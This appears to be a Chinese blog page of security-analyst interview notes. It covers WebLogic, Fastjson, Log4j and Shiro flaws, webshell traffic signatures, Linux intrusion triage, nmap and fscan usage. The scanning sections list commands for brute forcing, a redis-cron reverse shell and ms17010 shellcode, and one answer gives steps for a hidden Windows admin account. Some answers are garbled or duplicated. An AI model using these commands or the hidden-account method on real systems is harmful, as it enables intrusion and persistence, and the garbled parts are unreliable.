最后,一定要启用数据备份机制,检查所有备份是否成功且可用。机密文件需要加密,限制数据访问权限,并对敏感文件进行保护。如果您的计算机遇到了勒索软件,最好是采取预防措施而不是应急处理措施。因此,一定要时常备份重要数据,使用有效的病毒和恶意软件保护方案,保持您的系统和应用程序最新,保留访问控制和风险评估及常见攻击策略等基本安全原则,以保护您的计算机免受恶意软件入侵。

10weblogic原理常见漏洞

1.WebLogic XMLDecoder反序列化漏洞(CVE-2017-3506)

0x00 漏洞描述

网上爆出weblogic的WLS组件存在xmldecoder反序列化漏洞,直接post构造的xml数据包即可rce。

2.Weblogic T3协议反序列化(CVE-2018-2628)漏洞

0x00 漏洞描述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

3.Weblogic(CVE-2019-2725)漏洞

0x00 漏洞描述

该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

4.Weblogic未授权访问-CVE-2020-14882 && 命令执行-CVE-2020-14883

0x00 漏洞描述

远程代码执行漏洞 (CVE-2020-14882)POC 已被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。

#

11.webshell工具流量特征:

①菜刀流量特征:**(最开始是明文传输,后来采用base64加密)****

PHP类WebShell链接流量

②蚁剑(PHP用base64加密):

PHP类WebShell链接流量(流量最中明显的特征为@ini_set("display_errors","0"))

将蚁剑的正文内容进行URL解码后,流量最中明显的特征为@ini_set("display_errors","0");这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现,同时蚁剑也有eval这种明显的特征。

蚁剑绕过特征流量 (以0x开头的参数名)

由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以 0x ... 这种形式(下划线可替换为其他)所以,**<u>以0x开头</u>**的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。

③冰蝎流量特征:(AES对称加密)通过HTTP请求特征检测

g

④哥斯拉流量特征:*(base64加密)*

*特征检测*

1、发送一段固定代码(payload),http响应为空 2、发送一段固定代码(test),执行结果为固定内容 3、发送一段固定代码(getBacisInfo)

#

#

#

#

12.Linux被哥斯拉恶意软件等入侵

您的Linux服务器遭到了哥斯拉等恶意软件的入侵,以下是应急处理步骤:

  1. 立即隔离受感染的计算机,将其从网络中断开,并对所有存储介质进行拔插式扫描检查,以确保不再感染其他设备。

  2. 如果哥斯拉病毒正在运行,请使用kill命令杀死所有哥斯拉相关进程。

  3. 确定恶意软件的路径,并将其删除。

  4. 更新所有系统和应用程序的补丁,并确保所有安全漏洞被修复。

  5. 确保您的杀毒软件已经更新,并使用杀毒软件对计算机进行全面扫描检查。

  6. 更改所有受影响的用户的密码。

  7. 审查系统日志以查找异常或可疑的行为。

  8. 检查系统和网络配置,以确保没有留下任何后门或未授权的访问方式。

  9. 制定一个恢复计划,并进行测试以确保可以及时回复系统运行。

13.内网服务器逻辑漏洞密码找回登录上传免杀木马上传webshell怎么绕过

14.Linux服务器被入侵,从几个方面分析

①入侵者可能会删除机器的日志信息

可以查看日志信息是否还存在或者是否被清空,相关命令示例:

img

②入侵者可能创建一个新的存放用户名及密码文件

可以查看/etc/passwd及/etc/shadow文件,相关命令示例:

img

③入侵者可能修改用户名及密码文件

可以查看/etc/passwd及/etc/shadow文件内容进行鉴别,相关命令示例:

img

④查看机器最近成功登陆的事件和最后一次不成功的登陆事件

对应日志“/var/log/lastlog”,相关命令示例:

img

⑤查看机器当前登录的全部用户

对应日志文件“/var/run/utmp”,相关命令示例:

img

⑥查看机器创建以来登陆过的用户

对应日志文件“/var/log/wtmp”,相关命令示例:

img

⑦查看机器所有用户的连接时间(小时)

对应日志文件“/var/log/wtmp”,相关命令示例:

img

⑧如果发现机器产生了异常流量

可以使用命令“tcpdump”抓取网络包查看流量情况或者使用工具”iperf”查看流量情况

⑨可以查看/var/log/secure日志文件

尝试发现入侵者的信息,相关命令示例:

img

⑩查询异常进程所对应的执行脚本文件

a.top命令查看异常进程对应的PID

img

b.在虚拟文件系统目录查找该进程的可执行文件

img

⑩如果确认机器已被入侵,重要文件已被删除,可以尝试找回被删除的文件Note:

1、当进程打开了某个文件时,只要该进程保持打开该文件,即使将其删除,它依然存在于磁盘中。这意味着,进程并不知道文件已经被删除,它仍然可以向打开该文件时提供给它的文件描述符进行读取和写入。除了该进程之外,这个文件是不可见的,因为已经删除了其相应的目录索引节点。

2、在/proc 目录下,其中包含了反映内核和进程树的各种文件。/proc目录挂载的是在内存中所映射的一块区域,所以这些文件和目录并不存在于磁盘中,因此当我们对这些文件进行读取和写入时,实际上是在从内存中获取相关信息。

大多数与 lsof 相关的信息都存储于以进程的 PID 命名的目录中,即 /proc/1234 中包含的是 PID 为 1234 的进程的信息。每个进程目录中存在着各种文件,它们可以使得应用程序简单地了解进程的内存空间、文件描述符列表、指向磁盘上的文件的符号链接和其他系统信息。lsof 程序使用该信息和其他关于内核内部状态的信息来产生其输出。

所以lsof 可以显示进程的文件描述符和相关的文件名等信息。也就是我们通过访问进程的文件描述符可以找到该文件的相关信息。

3、当系统中的某个文件被意外地删除了,只要这个时候系统中还有进程正在访问该文件,那么我们就可以通过lsof从/proc目录下恢复该文件的内容。假设入侵者将/var/log/secure文件删除掉了,尝试将/var/log/secure文件恢复的方法可以参考如下:

a.查看/var/log/secure文件,发现已经没有该文件

img

b.使用lsof命令查看当前是否有进程打开/var/log/secure,

img

c.从上面的信息可以看到 PID 1264(rsyslogd)打开文件的文件描述符为4。同时还可以看到/var/log/ secure已经标记为被删除了。因此我们可以在/proc/1264/fd/4(fd下的每个以数字命名的文件表示进程对应的文件描述符)中查看相应的信息,如下:

img

d.从上面的信息可以看出,查看/proc/1264/fd/4就可以得到所要恢复的数据。如果可以通过文件描述符查看相应的数据,那么就可以使用I/O重定向将其重定向到文件中,如:

img

e.再次查看/var/log/secure,发现该文件已经存在。对于许多应用程序,尤其是日志文件和数据库,这种恢复删除文件的方法非常有用。

img

15.fastjon

这是阿里巴巴的开源JSON解析库,用于对JSON格式的数据进行解析和打包。Fastjon可以将java对象转为JSON格式,也可将JSON字符串转换为Java对象 实现反序列化远程代码执行 原理是jdni注入,利用就是构造一个json字符,用@type指定一个类库,流量特征就是json autotyp

16.log4j

log4j 是java日志框架,它可以帮助开发人员记录日志信息。 log4j2.x被发现存在一个严重的漏洞,该漏洞允许攻击者通过构造恶意的日志消息来远程执行任意代码 处理日志存在“katex parse error:expected '}', got 'EOF' at end of input:..入,流量特点就是数据包里面有“}”字段

nmap工具

查看端口开放情况 nmap ip (这里的ip是指一个网段里的ip都可以,前提是要互联) nmap 域名 (可以看一下网站对外开了哪些端口 例如 nmap www.baidu.com 扫描网段 nmap 192.169.15.0/24 (可以查看那些网络开了哪些端口) 常见使用方法 -T4 指定扫描的级别,级别越高扫描速度越快但也越容易被防火墙或者IDS屏蔽,一般推荐使用T4级别 -sn 只进行主机发现,不进行端口扫描 -O 进行系统版本扫描 -sV 进行服务版本扫描 -p 扫描指定端口(当然可以在后面指定端口范围 例如: -p 40000-65535。所有端口范围为0-65535) -sS 发送SYN包扫描 -sT 发送TCP包1扫描 -sA 发送ACK包扫描 -sU UDP扫描 -PO 不进行ping扫描 -script 指定脚本扫描 查看常见漏洞 nmap --script=vuln ip 利用已知漏洞入侵系统 nmap --script=exploit ip 拒绝服务攻击 nmap --script=dos ip 全面扫描 nmap -A -T4 ip

fscan

该工具支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能

简单使用

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
主机名
网卡信息
fscan.exe -h 192.168.1.1/16  (B段扫描)

其他用法

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)

完整参数:

  -c string
        ssh命令执行
  -cookie string
        设置cookie
  -debug int
        多久没响应,就打印当前进度(default 60)
  -domain string
        smb爆破模块时,设置域名
  -h string
        目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
  -hf string
        读取文件中的目标
  -hn string
        扫描时,要跳过的ip: -hn 192.168.1.1/24
  -m string
        设置扫描模式: -m ssh (default "all")
  -no
        扫描结果不保存到文件中
  -nobr
        跳过sql、ftp、ssh等的密码爆破
  -nopoc
        跳过web poc扫描
  -np
        跳过存活探测
  -num int
        web poc 发包速率  (default 20)
  -o string
        扫描结果保存到哪 (default "result.txt")
  -p string
        设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
  -pa string
        新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
  -path string
        fcgi、smb romote file path
  -ping
        使用ping代替icmp进行存活探测
  -pn string
        扫描时要跳过的端口,as: -pn 445
  -pocname string
        指定web poc的模糊名字, -pocname weblogic
  -proxy string
        设置代理, -proxy http://127.0.0.1:8080
  -user string
        指定爆破时的用户名
  -userf string
        指定爆破时的用户名文件
  -pwd string
        指定爆破时的密码
  -pwdf string
        指定爆破时的密码文件
  -rf string
        指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
  -rs string
        redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
  -silent
        静默扫描,适合cs扫描时不回显
  -sshkey string
        ssh连接时,指定ssh私钥
  -t int
        扫描线程 (default 600)
  -time int
        端口扫描超时时间 (default 3)
  -u string
        指定Url扫描
  -uf string
        指定Url文件扫描
  -wt int
        web访问超时时间 (default 5)
  -pocpath string
        指定poc路径
  -usera string
        在原有用户字典基础上,新增新用户
  -pwda string
        在原有密码字典基础上,增加新密码
  -socks5
        指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
  -sc
        指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)

1.天眼判断文件上传漏洞是否成功

看告警 查看上传目录,上传日志,尝试访问上传的文件,使用漏洞测试工具

2.文件上传的特征,绕过方式

特征:数据包大小,数据包类型,数据包的传输协议等 绕过方式:系统特征绕过,前端js绕过,MIME检测绕过,利用黑白名单绕过,文件包含

3.文件包含的危害

(1)读取web配置文件以及敏感的数据 (2)web服务器的文件被用户浏览导致信息泄露 (3)与文件上传漏洞结合getshell,将恶意代码执行解析 (4)脚本被任意执行,导致网站被篡改

4.判断文件读取是否成功

(1)判断返回的内容是否与预期一致 (2)判断返回的内容是否为空 (3)判断返回的状态码是否为200 (4)判断返回的实际是否符合预期

5.挖矿病毒的特征

(1)占用cpu和gpu资源,电脑变卡变慢 (2)生成大量的日志文件 (3)生成大量的临时文件 (4)生成大量的网络流量 (5)生成大量的进程

6.日志排查暴力破解是否成功登录

通过查看日志文件排查暴力破解是否成功 在Linux系统,ssh登录的日志信息存储在/var/log/auth.log文件 在Windows系统,ssh登录的日志信息存储在 事件查看器->Windows日志->安全->ID为4624的事件 如果发现有大量的登录尝试,服务器就可能已经被暴力破解了

7.请求头的referer和x-forward-for的含义

referer是请求的来源 x-forward-for是服务器客户端的真实IP

8.常见的威胁情报平台

360,qax,微步,安恒,绿盟

9.判断弱口令攻击是否成功

1.查看请求包中的HOST地址和用户名密码,到被攻击网站输入相应用户名密码进行判断 2.验证登录IP是否为客户自己的IP,如果攻击者的IP属于客户的IP,此时可能是已经有客户机失陷 弱口令检查工具:hydra,ncrack,medusa

10.攻击成功的状态码一定是200吗

不一定,服务器可能会返回不同的状态码,具体取决于攻击的类型和目标系统的配置。例如,如果攻击者成功执行了sql注入攻击,那么服务器可能会返回500错误

11.如果攻击队新买的vps来打怎么溯源

那溯源会比较困难,因为攻击者可以使用虚假的身份信息来注册vps,从而隐藏自己的真实身份,攻击者还可以使用匿名代理服务器来隐藏自己的真实IP

12.命令执行漏洞一般出现在什么位置

web应用程序,例如php,asp,jsp,这种漏洞通常是由于web应用程序没有正确地验证用户输入导致

13.wireshark过滤器语法

host:根据IP地址过滤数据包,host 192.168.1.1 port:根据端口号过滤数据包,port 80 tcp:根据tcp协议过滤数据包,tcp.flags.syn==1 udp:根据udp协议过滤数据包 ip:根据ip协议过滤数据包,ip.addr==192.168.1.1

14.常用webshell检查工具

Webshell Scanner:基于python的webshell扫描器,扫描web服务器的webshell P.A.T.H.S:基于php的webshell扫描器,扫描php文件的webshell wassat:基于python的web安全扫描器,扫描web服务器的webshell yara:基于规则的文件扫描器,扫描web服务器的webshell lmd:基于Linux系统的恶意软件扫描器,检测web服务器上的webshell

15.windows如何建立隐藏用户

用户名加$,然后把SAM注册表下admin的name smile复制给创建的用户,把文件导出,再直接删了用户的注册表项,最后再双击运行这个导出文件

17.sql注入类型 错误型注入,联合查询注入,布尔注入,时间注入,盲注

18.自我介绍

19.渗透思路 先信息收集,然后找站点的功能点分析,然后利用漏洞

20.常见top10 (1)sql注入:通过构造恶意的sql语句,从而获取敏感信息或控制数据库 (2)xss:攻击者通过注入恶意脚本,从而获取用户的敏感信息 (3)csrf:攻击者可以利用这种漏洞来伪造用户的请求,从而执行恶意操作 (4)ddos:大量发送请求,使其无法正常工作 (5)文件包含:通过该漏洞读取服务器上的敏感文件 (6)命令执行:通过该漏洞来执行任意命令,控制服务器 (7)弱口令:密码容易被猜解,从而导致安全问题 (8)逻辑漏洞:程序逻辑错误导致安全问题 (9)信息泄露:程序设计或配置错误导致敏感信息泄露 (10)文件上传:上传恶意文件,从而控制服务器

21.sql注入原理以及防护

原理:通过构造恶意的sql语句,和获取敏感信息或控制数据库 防护:参数化查询,过滤输入数据,限制数据库用户权限

22.如何判断一个地方是不是sql注入点

单引号,双引号,括号,注释符,union

23.文件上传的修复方法

(1)限制文件类型 (2)限制上传文件大小 (3)对上传的文件进行检测 (4)将上传的文件存储在安全目录

24.文件上传如何绕过黑白名单

黑名单:修改后缀名,使用特殊字符,压缩文件,图片马 白名单:修改后缀名,使用特殊字符,压缩文件,图片马

25.一个攻击IP在内网,这是什么原因?

(1)内部人员泄露内网IP (2)攻击者利用内网存在的漏洞,进入内网 (3)通过社工获取内网IP,进入内网

26.如何给用户判断攻击是否真实

(1)检查日志 (2)分析攻击流量 (3)使用威胁情报平台,查看是否有相关的攻击记录 (4)使用漏扫,看有没有已知的漏洞 (5)使用安全监控工具,对系统进行实时监控

27.如何判断文件上传是不是真实攻击

(1)检查上传文件,是否包含恶意代码 (2)分析上传流量,是否符合已知攻击模式 (3)使用漏扫,查看是否有已知的漏洞 (4)使用安全监控工具,对系统进行监控

28.如何判断sql注入是不是真实攻击?如果是真实攻击下一步如何应急

(1)检查日志文件:检查web服务器和数据库服务器的日志文件,查看是否有异常请求或错误 (2)使用sql注入检测工具:sqlmap,检测web应用程序中的漏洞 (3)检查输入:检查web应用程序中的输入字段 (4)检查输出:检查web应用程序的输出,以确保它们不会泄露敏感信息

29.如何判断webshell是不是真实攻击?(回答冰蝎的流量特征)(四方面)

1.基于流量的Webshell检测:

基于流量的Webshell检测方便部署,我们可通过流量镜像直接分析原始信息

2.基于payload的行为分析:

我们不仅可对已知的Webshell进行检测,还可识别出未知的、伪装性强的Webshell,对Webshell的访问特征(IP/UA/Cookie)、payload 特征、path 特征、时间特征等进行关联分析,以时间为索引,可还原攻击事件

3.基于文件的Webshell检测:

我们通过检测文件是否加密(混淆处理),创建 Webshell 样本 hash 库,可对比分析可疑文件。对文件的创建时间、修改时间、文件权限等进行检测,以确认是否为 Webshell

4.基于日志的Webshell检测:

对常见的多种日志进行分析,可帮助我们有效识别 Webshell 的上传行为等。

通过综合分析,可回溯整个攻击过程 冰蝎的流量特征: 冰蝎1:冰蝎1有一个密钥协商过程,这个过程是明文传输,并且有两次流量,用来校验 冰蝎2:因为内置了很多的UA头,所以当某一个相同IP重复请求,但是UA头不一样的时候就需要注意了 冰蝎3:因为省去了协商过程,所以流量上可以绕过很多,但是其他特征依旧保留,比如ua头 冰蝎数据包总是伴随着大量的content-type:application什么什么,无论GET还是POST,请求的http中,content-type为application/octet-stream 还有他们的accept之类的长度总是等长,正常的根据应用场景和不同文件,长度是不同的

30.如何判断反序列化是不是真实攻击

通过查看反序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xACED

31.红队攻击成功,设备没有任何告警,这是什么情况

可能使用了0day或其他未知漏洞,这些不会被设备检测到 使用代理或其他技术隐藏了攻击来源 如何防护:使用入侵检测系统(IDS)和入侵防御系统(IPS)等安全设备来检测和组织攻击;实施网络隔离和访问控制策略,以限制攻击者的活动范围

32.文件上传0day没有任何告警,如何上机排查

(1)写个目录监控的脚本,如果有新文件直接咔擦掉 (2)根据文件创建的时间和后缀名 (3)webshell查杀先扫一波网络目录

33.用过什么设备,qax天眼都有哪些功能

功能:

  1. 1. 漏洞扫描:可对Web应用程序进行漏洞扫描,包括SQL注入、XSS、CSRF、文件上传等常见漏洞。
    2. 漏洞利用:可对已发现的漏洞进行利用,例如对SQL注入漏洞进行数据盗取、修改、删除等操作。
    3. 暴力破解:可对密码进行暴力破解,例如对登录页面、FTP、SSH等进行破解。
    4. 网络嗅探:可对网络流量进行嗅探,例如对HTTP、SMTP、POP3等协议进行抓包。
    5. 信息收集:可对目标进行信息收集,例如对Web应用程序的目录结构、服务器信息、域名信息等进行收集。
    6. 漏洞分析:可对已发现的漏洞进行分析,例如对SQL注入漏洞的注入点、注入方式、注入语句等进行分析。
    7. 批量操作:可对多个目标进行批量操作,例如对多个Web应用程序进行漏洞扫描、暴力破解等操作。

    天眼模块

威胁情报

威胁情报来自奇安信云端的分析成果,可对 APT攻击、新型木马、特种免杀木马进行 规则化描述。奇安信公司依托于云端的海量数据,通过基于人工智能自学习的自动化数据 处理技术,依靠以顶尖研究资源为基础的多个国内高水平安全研究实验室为未知威胁的最 终确认提供专业高水平的技术支撑,所有大数据分析出的未知威胁都会通过专业的人员进 行人工干预,做到精细分析,确认攻击手段、攻击对象以及攻击的目的,通过人工智能结 合大数据知识以及攻击者的多个维度特征还原出攻击者的全貌,包括程序形态,不同编码 风格和不同攻击原理的同源木马程序,恶意服务器(C&C)等,通过全貌特征‘跟踪’攻击 者,持续的发现未知威胁,最终确保发现的未知威胁的准确性,并生成了可供天眼系统使 用的威胁情报。

分析平台

天眼分析平台用于存储传感器提交的流量日志、告警日志以及文件威胁鉴定器提交的 告警日志;其次天眼分析平台不仅可对所有数据进行快速的处理并为检索提供支持,还能 将存储的日志与威胁情报进行碰撞以及进行日志关联性分析产生告警并能在 4K的屏幕上展 示威胁态势;此外天眼分析平台支持对告警进行深度分析,支持以告警字段进行狩猎分析 及可视化展示,以攻击链的视角还原告警中的受害主机被攻击的整个过程;最后,对于判 定为威胁事件的告警,分析平台提供自定义编排流程进行相应的处置指令下发。

分析平台承担对所有数据进行存储、预处理和检索的工作,由于传统关系型数据库在 面对大量数据存储时经常出现性能不足导致查询相关数据缓慢,天眼分析平台底层的数据 检索模块采用了分布式计算和搜索引擎技术对所有数据进行处理,可通过多台设备建立集 群以保证存储空间和计算能力的供应。结合全包存储系统,分析平台可以实现针对精确告 警的全包取证分析和自定义数据包分析能力。

流量传感器

天眼传感器主要负责对网络流量的镜像流量进行采集并还原,还原后的流量日志会加 密传输给天眼分析平台,流量镜像中的 PE和非 PE文件还原后则加密传输给天眼文件威胁 鉴定器进行检测。天眼传感器通过对网络流量进行解码还原出真实流量,提取网络层、传 输层和应用层的头部信息,甚至是重要负载信息,这些信息将通过加密通道传送到分析平 台进行统一处理。传感器中应用的自主知识产权的协议分析模块,可以在 IPv4/IPv6 网络 环境下,支持 HTTP (网页)、SMTP/POP3(邮件)等主流协议的高性能分析。

同时,天眼传感器内置的威胁检测进程 serverids,可检测多种网络协议中的攻击行 为,提供 ids、webids、webshell、威胁情报多种维度的告警展示,可检测如多种网络应 用、木马、广告、exploit 等多种网络攻击行为,也可检测如 sql 注入、跨站、Web shell、命令执行、文件包含等多种 web攻击行为,内置的 webshell 沙箱可以精准检测

php 后门并记录相关信息,拥有威胁情报实时匹配能力,能发现恶意软件、APT事件等威 胁,产生的多种告警都会加密,并传输给天眼分析平台进行统一分析管理。

文件威胁鉴定器

天眼文件威胁鉴定器主要负责对传感器、手动提交、FTP、SMB、URL等多数据来源通 道的样本进行检测。整个检测过程中文件进行威胁情报匹配、沙箱检测、静态检测与动态 检测等多种检测,及时发现有恶意行为的文件并告警,告警日志可传给天眼分析平台供统 一分析。天眼通过文件威胁鉴定器对文件进行高级威胁检测,文件威胁鉴定器可以接收还 原自传感器的大量 PE和非 PE文件,使用静态检测、动态检测、沙箱检测等一系列无签名 检测方式发现传统安全设备无法发现的高级威胁,并将威胁相关情况以报告行为提供给企 业安全管理人员。天眼文件威胁鉴定器上的相关告警也可发送至分析平台实现告警的统一 管理和后续的进一步分析。

其他周边组件

除了以上组件,奇安信天眼支持与邮件威胁检测系统、奇安信天堤防火墙、网神云 锁、补天漏洞响应平台、全包存储等系统进行对接,可实现多种告警数据的接收与统一。 结合多种处置设备,分析平台支持运用奇安信自主研发的 SOAR编排技术完成自动化响应处 置工作。

34.邮箱协议有哪些?

smtp,pop3,imap

35.sql注入说一下

sql注入是通过在web应用程序中事先定义好的查询语句的结尾添加上额外的sql语句,从而欺骗数据库服务器执行非授权的任意查询,进而获取或修改数据库中的数据 sql注入类型有:联合注入,布尔盲注,时间盲注,堆叠注入,数字型注入,字符型注入和搜索型注入

36.xss说一下

xss是跨站脚本攻击,是指在web页面中注入恶意脚本,使其在用户浏览器上运行,从而达到攻击的目的 xss类型有:反射型,存储型,dom型

37.反序列化说一下

反序列化是将序列化形式转回内存变量和程序对象的相反过程,是一种数据从持久性存储区域(如磁盘文件,数据库记录)中读出并还原成内存中对象的操作 是指攻击者利用程序在反序列化过程中对数据的信任,注入恶意数据,从而导致程序执行攻击者预期的代码

38.文件上传说一下

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,从而导致的用户可以越过其本身权限向服务器上上传可执行化的动态脚本文件。这些脚本文件可以被服务器解析并执行,从而导致服务器被攻击者控制。 造成文件上传漏洞的原因:服务器配置不当,开源编辑器上传漏洞,本地文件上传限制被绕过,过滤不严格被绕过,文件解析漏洞导致文件执行,文件路径截断等 文件上传的攻击方式:1.绕过文件类型验证;2.上传危险文件;3.目录遍历攻击;4.二次文件执行;4.溢出文件上传目录

39.哥斯拉流量特征

cookie这个值的地方有一个小纰漏,就是正常请求cookie最后结尾是没有分号的,可能后续作者会进行调整修改 还有响应,哥斯拉会响应三次,而且我认为还有一个地方需要注意的就是webshell连接,所以一般会设置长时间连接,所以connection这里会是keep-alive

40.蚁剑流量特征

ini_set ini_set_time ini_set_limit @ini_set(“display_errors”,“0”) 部分代码明文传输,较好辨认

41.中间件漏洞有哪些

Apache,IIS,Nginx,Tomcat等。其中,Apache和Nginx的漏洞比较多,而IIS的漏洞相对较少 这些漏洞可能回导致远程代码执行,任意文件上传,文件解析,文件包含,war后门上传等安全问题

42.天眼中的函数说一下

43.抓包软件会多少?详细讲一个 burp suite 配置证书在中间和信任 pc的后缀是der,模拟器手机的后缀是cer 有爆破,弱口令等功能 还有一些插件,比如可以利用sessionkey的插件,和一些js插件等

44.天眼日志分析

  1. 1. 收集日志:首先需要从QAX天眼中获取日志文件,通常可以通过下载或者导出的方式获取。
    2. 筛选日志:对于大规模的日志文件,需要进行筛选和过滤,只保留有用的信息,以便后续分析。
    3. 分析日志:对于筛选后的日志文件,需要进行深入分析,包括查找异常行为、识别攻击类型等。
    4. 建立模型:通过对日志的分析,可以建立起相应的模型,用于预测未来可能出现的安全威胁。
    5. 实施安全措施:通过对日志的分析和模型的建立,可以及时采取相应的安全措施,保护系统的安全。

天眼日志检索常用的语法

1- dip -- 被攻击的ip 2- dport -- 被攻击的端口 3- sip -- 源ip 4- sport -- 源端口 5- uri -- 请求的url地址 6- data -- 请求包的正文内容 7- status -- 响应包的状态码 8- host -- 域名

45.fastjon

这是阿里巴巴的开源JSON解析库,用于对JSON格式的数据进行解析和打包。Fastjon可以将java对象转为JSON格式,也可将JSON字符串转换为Java对象 实现反序列化远程代码执行 原理是jdni注入,利用就是构造一个json字符,用@type指定一个类库,流量特征就是json autotyp

46.哥斯拉流量特征

检测User-Agent,Accept,Cookie,请求头特征和相应体特征

47.天眼日志分析和告警的区别

告警管理的主要作用是检测基站系统、OMC服务器节点和数据库以及外部电源的运行状态,收集运行中产生的故障信息和异常情况,并将这些信息以文字、图形、声音、灯光等形式显示出来,以便操作维护人员能及时了解,并作出相应处理,从而保证基站系统正常可靠地运行。 同时告警管理部分还将告警信息记录在数据库中以备日后查阅分析。通过日志管理系统,用户可以查看操作日志、系统日志。并且可以按照用户的过滤条件过滤日志和按照先进先出或先进后出的顺序显示日志,使得用户可以方便的查看到有用的日志信息。

48.log4j

是java日志框架,它可以帮助开发人员记录日志信息。 log4j2.x被发现存在一个严重的漏洞,该漏洞允许攻击者通过构造恶意的日志消息来远程执行任意代码 处理日志存在“katex parse error:expected '}', got 'EOF' at end of input:..入,流量特点就是数据包里面有“}”字段

49.springboot框架漏洞

springboot是一个基于spring框架的开源java web框架,它开源帮助开发人员快速构建web应用程序。 springboot有远程代码执行漏洞,未授权访问漏洞等

50.最近的一个fastjon框架漏洞版本

fastjon<=1.2.80

52.jsp,asp,php命令执行的函数

在JSP中,可以使用Runtime.getRuntime().exec()函数来执行系统命令 在ASP中,可以使用WScript.Shell对象的Run()方法来执行系统命令 在PHP中,可以使用exec(), shell_exec(), system(), passthru(), popen(), proc_open()等函数来执行系统命令

53.shiro漏洞

Apache shiro是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、密码和会话管理

cve编号:CVE-2016-4437 shiro550反序列化原理:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞

cve编号:CVE-2016-4437 shiro721反序列化漏洞原理: 1、shiro-721用到的加密方式是AES-128-CBC,而且其中的ase加密的key基本猜不到了,是系统随机生成的 2、这种加密方式容易受到Padding Oracle Attack(填充提示攻击),利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击 3、利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:  (1)、攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量)  (2)、攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性

shrio550和721的区别: (1)主要区别在于Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie的 (2)Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击

  • 19
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值